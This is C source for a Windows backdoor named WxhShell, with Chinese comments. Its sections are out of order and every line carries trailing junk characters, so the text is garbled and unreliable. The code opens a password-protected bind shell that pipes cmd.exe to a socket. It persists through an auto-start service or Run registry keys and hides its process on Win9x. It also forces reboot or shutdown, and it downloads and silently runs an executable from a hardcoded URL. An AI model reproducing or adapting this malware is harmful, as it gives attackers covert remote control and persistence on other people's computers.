    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g:fvg!_v  
    else { OlCqv-B2&  
    closesocket(wsh); &qS%~h%2  
    ExitThread(0); Bn]=T  
    } Dq<la+VlO  
    break; n!z!fh  
    } 9PKXQp  
  // 获取shell 7{}E{/  
  case 's': { sg7h&<Xx  
    CmdShell(wsh); 3l<qcKKc  
    closesocket(wsh); ? #rXc%F  
    ExitThread(0); (O+d6oT=Z2  
    break; hP+4{F*}-  
  } P#hRqETw  
  // 退出 @~$d4K y<  
  case 'x': { !s-A`} s+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D-/6RVq0m  
    CloseIt(wsh); o5s6$\"  
    break; h,Hr0^?  
    } O z0-cM8t  
  // 离开 et+lL"&  
  case 'q': { i6V$mhL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rQ* w3F?:  
    closesocket(wsh); 16/  V5  
    WSACleanup(); {%3WHGr%L  
    exit(1); @ 3=pFYW)  
    break; 1TQ?Fxj  
        } o)5zvnu7  
  } :o^ioX.J  
  } W5Z-s.o  
8~O#@hB~3  
  // 提示信息 Ll=G+cw6P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fl.?*KBz  
} 8j>V?'Szk  
  } V5lUh#@TN&  
ywp_,j9F  
  return; 7310'wc  
} 2B$dT=G  
qR cSB  
// shell模块句柄 .fzyA5@l  
int CmdShell(SOCKET sock) 68?&`/t  
{ AHs%?5YTY;  
STARTUPINFO si; y<6Sl6l*  
ZeroMemory(&si,sizeof(si)); @\F7nhSfa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :4zPYG o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cV>?*9z0  
PROCESS_INFORMATION ProcessInfo; 1L::Qu%E  
char cmdline[]="cmd"; Vw w 211  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WILa8"M  
  return 0; f.J^HQ_  
} |I1,9ex  
a.<XJ\  
// 自身启动模式 {BlTLAKm  
int StartFromService(void) s7yKx g+`{  
{ (KC08  
typedef struct fwt+$`n  
{ ?jMM@O`Nu  
  DWORD ExitStatus; !7\dr )  
  DWORD PebBaseAddress; 9QP=  
  DWORD AffinityMask; 8WDL.IO  
  DWORD BasePriority; e*'bY;8lo  
  ULONG UniqueProcessId; b&!}SZ  
  ULONG InheritedFromUniqueProcessId; (+v':KH3_  
}   PROCESS_BASIC_INFORMATION; 7a9">:~  
D>jtz2y=D  
PROCNTQSIP NtQueryInformationProcess; Ch?yk^cY  
eHUyV@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {s@!N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ydsnu  
L$c 1<7LU  
  HANDLE             hProcess; 8-+# !]  
  PROCESS_BASIC_INFORMATION pbi; e6'0g=Y#   
GjEV]hqR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); aT2%Az@j  
  if(NULL == hInst ) return 0; #(qvhoi7lM  
):G+*3yb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +xIVlH9`Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |goBIp[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RQ|K?^k v  
Vfd_nD^8oZ  
  if (!NtQueryInformationProcess) return 0; ISZEP8w  
O~8jz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Wp = ]YO  
  if(!hProcess) return 0; Z5rL.a&  
^'N!k{x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pDP* 3  
6$PQ$  
  CloseHandle(hProcess); =^M Q 4  
b/.EA' /  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A\mSS  
if(hProcess==NULL) return 0; SKf;Fe  
^K`PYai  
HMODULE hMod; L7 FFa:#  
char procName[255]; )5`^@zx  
unsigned long cbNeeded; _Iy)p{y  
w,6gnO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ld:-S,2  
?a+J4Zr3  
  CloseHandle(hProcess); xPF.c,6b4=  
#lFsgb  
if(strstr(procName,"services")) return 1; // 以服务启动  1^hG}#6_  
s;<]gaonB_  
  return 0; // 注册表启动 rr1,Ijh{D  
} F'<XB~ &o  
7zQGuGo(  
// 主模块 l66 QgPA  
int StartWxhshell(LPSTR lpCmdLine) 4t*VI<=<[  
{ %j0c|u  
  SOCKET wsl; agoMsxI9  
BOOL val=TRUE; F$v^S+Ch  
  int port=0; C]ho7qC  
  struct sockaddr_in door; qzY:>>d'  
3 P\4K  
  if(wscfg.ws_autoins) Install(); J'#o6Ud  
SPT x-b[  
port=atoi(lpCmdLine); ]$)};8;7W  
1(aib^!B  
if(port<=0) port=wscfg.ws_port; wMm+E "}W  
2MXg)GBcU>  
  WSADATA data; IL&R&8'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $\oe}`#o  
*Q -uE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '&AeOn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LD|T1 .  
  door.sin_family = AF_INET; S="\S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); OlW5k`B  
  door.sin_port = htons(port); 5?#AS#TD'  
ayf;'1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q|B.@Ng.  
closesocket(wsl); ?6[u\V  
return 1; e oFM  
} 1- GtZ2  
$KRpu<5i}  
  if(listen(wsl,2) == INVALID_SOCKET) { YTe8C9eO  
closesocket(wsl); mk-L3H1@J3  
return 1; tp V61L   
} \ o?  
  Wxhshell(wsl); 0oyZlv*  
  WSACleanup(); O,&p"K&Z  
%[?{H} y  
return 0; A{eh$Ot%  
A{hST~s  
} 2c9]Ja3:6  
\$8p8MP<&D  
// 以NT服务方式启动 "X1{*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /h!iLun7I  
{ "aGpC{  
DWORD   status = 0; h_t<Jl  
  DWORD   specificError = 0xfffffff; o[G,~f\-  
P-N+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _l]rt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 40LA G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rYA4(rYq  
  serviceStatus.dwWin32ExitCode     = 0; xe1xP@e?  
  serviceStatus.dwServiceSpecificExitCode = 0; m,]h7xx  
  serviceStatus.dwCheckPoint       = 0; mhnK{M @56  
  serviceStatus.dwWaitHint       = 0; "OKsl2e  
yc$8X sns  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;fY)7 '  
  if (hServiceStatusHandle==0) return; ])T_&%  
8+~|!)a  
status = GetLastError();  0c:j wtf  
  if (status!=NO_ERROR) 9fb"R"(M  
{ [~rBnzb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ld23 ^r  
    serviceStatus.dwCheckPoint       = 0; +(2mHS0_a  
    serviceStatus.dwWaitHint       = 0; _i&awm/U  
    serviceStatus.dwWin32ExitCode     = status; -}<W|r  
    serviceStatus.dwServiceSpecificExitCode = specificError; y$pT5X G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); aSNTm8SYX  
    return; |(1z ?Spbe  
  } N|WR^MQD  
Y]1b3 9O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )e:u 6]  
  serviceStatus.dwCheckPoint       = 0; uJHf6Ye  
  serviceStatus.dwWaitHint       = 0; I'RhA\`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @Nt$B'+S&  
} #%tN2cFDN  
zFV?,"\r  
// 处理NT服务事件,比如:启动、停止 "^@0zy@x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4#@zn 2l  
{ s@bo df&  
switch(fdwControl) X5D}<J2"  
{ H`ZUI8-  
case SERVICE_CONTROL_STOP: fNaS?tV)  
  serviceStatus.dwWin32ExitCode = 0; ,a,coeL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; > jvi7  
  serviceStatus.dwCheckPoint   = 0; liq9P,(  
  serviceStatus.dwWaitHint     = 0; {oN7I'>  
  { (f|3(u'e?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pVm'XP  
  } GKKf#r74  
  return; m-No 8)2yA  
case SERVICE_CONTROL_PAUSE: 7[W! Nx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Rm!Iv&{  
  break; @RF !p  
case SERVICE_CONTROL_CONTINUE: x+7jJ=F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gG.b=DvzY  
  break; 3 a G?^z  
case SERVICE_CONTROL_INTERROGATE: g&V1<n\b+  
  break; ;M"JN:J8  
}; J Covk1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5rpTR  
}  cUz7F  
MRdZ'  
// 标准应用程序主函数 >*%mJX/F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) thjCfP   
{ BHw/~Hd4  
;  u0 MY  
// 获取操作系统版本 xW\iME  
OsIsNt=GetOsVer(); >;.'$-  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  *w538Vb  
D?3^>h  
  // 从命令行安装 v(/T<^{cuk  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0x\bDWZ_  
gUB%6vG\I  
  // 下载执行文件 -&* 4~  
if(wscfg.ws_downexe) { SablF2doa  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BVX6  
  WinExec(wscfg.ws_filenam,SW_HIDE); &i,xod6$  
} gzthM8A  
?HBNd&gZ1G  
if(!OsIsNt) { 0;j)rmt  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?E0j)P/ (  
HideProc(); Mg0[PbS  
StartWxhshell(lpCmdLine); *94<rlh{"  
} WBgS9qiB  
else B#_<?  
  if(StartFromService()) Vs)Pg\B?  
  // 以服务方式启动 #?Z>o16,u  
  StartServiceCtrlDispatcher(DispatchTable); rn7eY  
else YULI y-W  
  // 普通方式启动 *eAsA(;  
  StartWxhshell(lpCmdLine); i[_WO2  
C$~2FTx  
return 0; "RH pj3 si  
} -# [=1 Y  
V(|@6ww  
^-9g_5  
lU0'5!3R,  
=========================================== +wU9d8W  
RHdcRojF  
)B86  
-lL(:drn  
WKib$(%f6  
p^~ AbU'6~  
" qcSlY&6+  
JgJ4RmH-  
#include <stdio.h> 'a`cK;X9F  
#include <string.h> |^^'GZ%a  
#include <windows.h> dC$z q~q  
#include <winsock2.h> ~.?,*q7  
#include <winsvc.h> [eebIJs  
#include <urlmon.h> t%$>  
Fy^=LrH=D  
#pragma comment (lib, "Ws2_32.lib") a7+w)]r  
#pragma comment (lib, "urlmon.lib") FA}dKE=c Q  
ALVHKL2  
#define MAX_USER   100 // 最大客户端连接数 Em?Z  
#define BUF_SOCK   200 // sock buffer ' XJ>;",[  
#define KEY_BUFF   255 // 输入 buffer SW!lSIk  
ToWiXH)4  
#define REBOOT     0   // 重启 @kCFc}  
#define SHUTDOWN   1   // 关机 5hN`}Ve  
RjC3wO::  
#define DEF_PORT   5000 // 监听端口 fk5xIW  
1 PL2[_2:  
#define REG_LEN     16   // 注册表键长度 w\o?p.drp=  
#define SVC_LEN     80   // NT服务名长度 )YE3n-~7{  
P;7JK=~k  
// 从dll定义API q#RUL!WF7U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uURm6mVt9:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c]SXcA;Pmv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z>rl7&[@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hXBAs*4DV8  
$]v=2j  
// wxhshell配置信息 [Yr }:B <  
struct WSCFG { wldv^n hM  
  int ws_port;         // 监听端口 >yr:L{{D}G  
  char ws_passstr[REG_LEN]; // 口令 } + ]A?'&  
  int ws_autoins;       // 安装标记, 1=yes 0=no HjCWsQM  
  char ws_regname[REG_LEN]; // 注册表键名 km@V|"ac _  
  char ws_svcname[REG_LEN]; // 服务名 vS#Y,H:yAj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S{HAFrkm7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0wM2v[^YO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0_F6t-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b.mcP@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 87; E#2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T?vM\o%i3  
UoAHy%Y<%  
}; _ebo  
0,b.;r  
// default Wxhshell configuration vO>Fj  
struct WSCFG wscfg={DEF_PORT, 05o)Q &`  
    "xuhuanlingzhe", GM_~2Er]  
    1, sIUhk7Cd8  
    "Wxhshell", t6/w({}j  
    "Wxhshell", M]c"4 b;  
            "WxhShell Service", ''t\J^+&  
    "Wrsky Windows CmdShell Service", &B1j,$NRc  
    "Please Input Your Password: ", ``X1xiB  
  1, !3O8B0K)v  
  "http://www.wrsky.com/wxhshell.exe", O52B  
  "Wxhshell.exe" kq| r6uE  
    }; S2y_5XJ<D  
$('"0 @fg  
// 消息定义模块 /b&ka&|t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #mT\B[4h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .r ,wc*SF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Pz\4#E]  
char *msg_ws_ext="\n\rExit."; (G1KMy  
char *msg_ws_end="\n\rQuit."; 8jBrD1  
char *msg_ws_boot="\n\rReboot..."; olm0O  (9  
char *msg_ws_poff="\n\rShutdown..."; !4.VK-a9V%  
char *msg_ws_down="\n\rSave to "; n["G ry  
&`@S_YLr  
char *msg_ws_err="\n\rErr!"; {lam],#r  
char *msg_ws_ok="\n\rOK!"; .rPg  
?04jkq&  
char ExeFile[MAX_PATH]; GZefeBi  
int nUser = 0; ;$nCQ/ /  
HANDLE handles[MAX_USER]; a/wg%cWG_  
int OsIsNt; .(J~:U  
7)RDu,fx  
SERVICE_STATUS       serviceStatus; \wZ 4enm  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~,^pya  
u~O9"-m !V  
// 函数声明 ;AH8/M B9  
int Install(void); .-Z=Aa>  
int Uninstall(void); ZVX1@p  
int DownloadFile(char *sURL, SOCKET wsh); B4 k5IS  
int Boot(int flag); *A&A V||q  
void HideProc(void); PF+F^;C  
int GetOsVer(void); wI5(`_l{G  
int Wxhshell(SOCKET wsl); ahh&h1q7|  
void TalkWithClient(void *cs); 3<XP/c";  
int CmdShell(SOCKET sock); #]rfKHW9  
int StartFromService(void); '048Qykt;  
int StartWxhshell(LPSTR lpCmdLine); m|uVmg!*  
yac4\%ze  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O#_\@f#[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A!$;pwn0  
 2S  
// 数据结构和表定义 G1 K@Ir<  
SERVICE_TABLE_ENTRY DispatchTable[] = WJlJD*3  
{ 7_9^nDU  
{wscfg.ws_svcname, NTServiceMain}, r@t \a+  
{NULL, NULL} >rhqhmh;W"  
}; ' Ig:-  
C6JwJYa  
// 自我安装 -<6b[YA  
int Install(void) m@i](1*T|  
{ l5 T0x=y9!  
  char svExeFile[MAX_PATH]; n-he|u  
  HKEY key; t5aX9WIW  
  strcpy(svExeFile,ExeFile); pP-L{bT  
(VM.]B<  
// 如果是win9x系统,修改注册表设为自启动 G_QV'zQ  
if(!OsIsNt) { 6ys|'<?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IKrojK8-?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y1wH_!%b  
  RegCloseKey(key); %ONU0xtqk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )%JjV(:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fKbg?  
  RegCloseKey(key); eemC;JV%  
  return 0; V.e30u5  
    } 5yL\@7u`  
  } g [u*`]-;v  
} :bq$ {  
else { *L&|4|BF2  
lqcPV) n  
// 如果是NT以上系统,安装为系统服务 n v ?u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =TGa\iclpB  
if (schSCManager!=0) );/p[Fd2]  
{ 3:aj8F2  
  SC_HANDLE schService = CreateService QQ/9ZI5  
  ( (kVxa8 0  
  schSCManager, kr\#CW0?  
  wscfg.ws_svcname, Bdcs}Ga  
  wscfg.ws_svcdisp, I{$TMkh[  
  SERVICE_ALL_ACCESS, N^{}Qvrr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '5lwlF  
  SERVICE_AUTO_START, v'Pbx  
  SERVICE_ERROR_NORMAL, F]L96&  
  svExeFile, ?BX}0RWMh7  
  NULL, m f\tMik<  
  NULL, nKmf#  
  NULL, L=@8Z i!2<  
  NULL, )+Yu7=S  
  NULL |&MO us#v  
  ); z.!u<hy(  
  if (schService!=0) 98maQQWD  
  { Jz]OWb *  
  CloseServiceHandle(schService); cK,&huk  
  CloseServiceHandle(schSCManager); GM Y[Gd  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <Zo{D |hW  
  strcat(svExeFile,wscfg.ws_svcname); n0FzDQt26  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ><C9PS@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;> %wf3e  
  RegCloseKey(key); gSHN,8. `  
  return 0; \8)FVpS  
    } . )E1|U[L  
  } a`D`v5G t  
  CloseServiceHandle(schSCManager); 7ju^B/ 7  
} w5vzj%6i  
} DH"_.j  
q>6RO2,  
return 1; GF36G?iEi  
} 5,BvT>zFY  
KP`Pzx   
// 自我卸载 WQ9VcCY  
int Uninstall(void) Ri3*au/Q  
{ h^YUu`P  
  HKEY key; y J>Bc  
g'9~T8i& ^  
if(!OsIsNt) { v=daafO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,=[r6k<  
  RegDeleteValue(key,wscfg.ws_regname); y:Agmr,S  
  RegCloseKey(key); Ih[k{p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ltv ~Kh  
  RegDeleteValue(key,wscfg.ws_regname); ctPT=i60  
  RegCloseKey(key); &"=O!t2  
  return 0; / <+F/R'=O  
  } }&]T0U`@  
} L/)eNZ  
} ] I5&'#%2  
else { bduHYs+rq  
hb(H-`16  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )K]<\Q[  
if (schSCManager!=0) (ylZ[M&B:  
{ !/]z-z2>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y"iK)SH  
  if (schService!=0) 94?/Rhs5  
  { h(i_'P?  
  if(DeleteService(schService)!=0) { 8g?2( MT;  
  CloseServiceHandle(schService); Y}h&dAr  
  CloseServiceHandle(schSCManager); 39x 4(  
  return 0; %6x3 G  
  } Knp}88DR^j  
  CloseServiceHandle(schService); 59(kk;  
  } QS@eqN  
  CloseServiceHandle(schSCManager); _y:a Pn  
} lI3d _cU  
} vvLzUxV  
Hn]6re  
return 1; zpy&\#Vc  
} P )[QC  
[7l5p(=  
// 从指定url下载文件 N_p^DP   
int DownloadFile(char *sURL, SOCKET wsh) 8\bZ?n#dn  
{ N.vkM`Z  
  HRESULT hr; t'DIKug&  
char seps[]= "/"; >+%p }l:<\  
char *token; F<O<=Ww  
char *file; =%{E^z>1  
char myURL[MAX_PATH]; SJlL!<i$  
char myFILE[MAX_PATH]; =kw6<!R  
C9j5Pd5q1L  
strcpy(myURL,sURL); "uBr]N:  
  token=strtok(myURL,seps); 6Z-[-0o+g  
  while(token!=NULL) ~2UmX'  
  { UdFYG^i  
    file=token; p]6/1&t="  
  token=strtok(NULL,seps); w!RJ8  
  } lgC^32y  
rUmnv%qTS  
GetCurrentDirectory(MAX_PATH,myFILE); ^ lG^.  
strcat(myFILE, "\\"); ze`qf%  
strcat(myFILE, file); scZ'/(b-E  
  send(wsh,myFILE,strlen(myFILE),0); $oIGlKc:L  
send(wsh,"...",3,0); _<jccQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Mvk#$:8e  
  if(hr==S_OK) %p};Di[V  
return 0; T_qh_L3  
else u73/#!(1=H  
return 1; V6b)  
Yt;@ @xe&  
} mZ.E;X& ,*  
t`0(5v  
// 系统电源模块 ^ |>)H  
int Boot(int flag) 7T?7KS  
{ J|b:Zo9<f"  
  HANDLE hToken; pXe]hnY  
  TOKEN_PRIVILEGES tkp; *4 Kc "M  
QezDm^<  
  if(OsIsNt) { !e0/1 j=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L/:u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7P D D  
    tkp.PrivilegeCount = 1; ^j'vM\^`ml  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cx4'rK.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1F?ylZ|~  
if(flag==REBOOT) { 8;P_KRaE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _1?Fy u&<5  
  return 0; mGUl/.;yp-  
} #J4,mFMr  
else { "#`c\JuR ]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }q~xr3#  
  return 0; MP`WU}2  
} _ 3>|1RB  
  } m}nA- *  
  else { 1I U*:Z;Rz  
if(flag==REBOOT) { Alb5#tm:m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WR>2t&;E  
  return 0; ,DbT4Ul c  
} Vt U  
else { 'p(I!]"uo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I\ y>I?X  
  return 0; #|{^k u  
} Y&DC5T]  
} fpvzx{2  
<txzKpM  
return 1; "O{:jfq  
} w5}2$r  
_:9-x;0H2  
// win9x进程隐藏模块 "zN]gz=OV>  
void HideProc(void) )IZ~!N|-w  
{ vM2\tL@"  
yO0 9NQ 5u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s)|l-I  
  if ( hKernel != NULL ) Gex%~';+q  
  { ( j~trpe,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]6EXaf#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4kQL\Ld#E%  
    FreeLibrary(hKernel); dDla?)F  
  } w~=@+U$f  
t2vo;,^euL  
return; Ic&Jhw;]z  
} #-u?+Nk/  
S#, E)h/  
// 获取操作系统版本 f<G:}I  
int GetOsVer(void) 6995r%  
{ `=f1rXhI+1  
  OSVERSIONINFO winfo; '|N9xL m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dCH(N_  
  GetVersionEx(&winfo); Gu136XiX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Qws#v}xF  
  return 1; k`Ifd:V.y  
  else G!IJ#|D:~  
  return 0; : S |)  
} K.jm>]'z4;  
ceqYyVy  
// 客户端句柄模块 ,b8q$ R~\  
int Wxhshell(SOCKET wsl) tvG/oe .1'  
{ u.sn"G-c  
  SOCKET wsh; 6~v|pA jY  
  struct sockaddr_in client; /h'b,iYVV  
  DWORD myID; 4d0<uB&v'  
>T<"fEBI  
  while(nUser<MAX_USER) i&?do{YQ)  
{ &4O0}ax*Zm  
  int nSize=sizeof(client); qjp<_aw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); onj:+zl  
  if(wsh==INVALID_SOCKET) return 1; bbU{ />yW  
?#917M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;1 02ddRV  
if(handles[nUser]==0) (P N!k0Y  
  closesocket(wsh); `Z0#IeX=  
else ,HdFE|  
  nUser++; <C_FI` wk  
  } #wZ:E,R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K) "cwk-  
eqze7EY  
  return 0; =1"8ua  
} O{9h'JU  
V OViOD  
// 关闭 socket U8(Rye$  
void CloseIt(SOCKET wsh) [UHDN:y  
{ cHMS[.=;  
closesocket(wsh); Y+tXWN"8  
nUser--; =NzA2td  
ExitThread(0); 8y{<M"v+/  
} ctL@&~*nY  
lS(?x|dO  
// 客户端请求句柄 @u2nG:FG  
void TalkWithClient(void *cs) \ oIVE+L/P  
{ 81|Xg5g)b  
]S~Z8T-[  
  SOCKET wsh=(SOCKET)cs; Dyj5a($9"{  
  char pwd[SVC_LEN]; l&4TfzkY  
  char cmd[KEY_BUFF]; rE bC_<  
char chr[1]; @M-+-6+  
int i,j; 2|)3Ly9  
~a5p_xP  
  while (nUser < MAX_USER) { [EJ[Gg0m  
Kj_hCSvf3e  
if(wscfg.ws_passstr) { _azg 0.)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l*]*.?m/5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GiN\nu<!  
  //ZeroMemory(pwd,KEY_BUFF); ccJ@jpXI  
      i=0; #U NTD4   
  while(i<SVC_LEN) { TK;*:K8oe  
T }X#I'Z  
  // 设置超时 +M6qbIO  
  fd_set FdRead; 8eSIY17  
  struct timeval TimeOut; *Ki ],>_~  
  FD_ZERO(&FdRead); <;.Zms${@  
  FD_SET(wsh,&FdRead); N}>XBZy  
  TimeOut.tv_sec=8; mlY0G w_e  
  TimeOut.tv_usec=0; 8_K22]c5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q+[e)YO)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XX,iT~+-  
0*"auGuX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \z<B=RT\  
  pwd=chr[0]; v3+ \A q   
  if(chr[0]==0xd || chr[0]==0xa) { <m80e),~  
  pwd=0; )dJaF#6j  
  break; RvYH(!pQ  
  }  # a 'h,  
  i++; m[C-/f^u|  
    } */n)_  
+!V*{<K  
  // 如果是非法用户,关闭 socket /)xG%J7H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u|7d_3 ::  
} i=-zaboo  
4XDR?KUM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9 I> 3p4]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @#}9?>UV  
vS:%(Y"!<  
while(1) { ;PJWd|3  
0sRby!  
  ZeroMemory(cmd,KEY_BUFF); tqIz$84G  
s&p*.I]@>  
      // 自动支持客户端 telnet标准   0}c *u) ,  
  j=0; l/_3H\iM  
  while(j<KEY_BUFF) { !=#E/il,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3C8'0DB  
  cmd[j]=chr[0]; rO/mK$  
  if(chr[0]==0xa || chr[0]==0xd) { >'/G:\M>A  
  cmd[j]=0; k=O2s'F`  
  break; )kl| 5i  
  } >UpTMEQ  
  j++; h FP$MFab  
    } S?%V o* Y  
50(/LV1  
  // 下载文件 4em7PmT  
  if(strstr(cmd,"http://")) { vfJ}t#%UH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  pFGK-J  
  if(DownloadFile(cmd,wsh)) k'wF+>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LQ?J r>4  
  else 3KfZI&g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -Xkdu?6Eh  
  } y>u+.z a|  
  else { cU5x8[2  
~ @Ib:M  
    switch(cmd[0]) { Bm%:Qc*  
  xmTa$tR+  
  // 帮助 N<:5 r  
  case '?': { *J?QXsg  
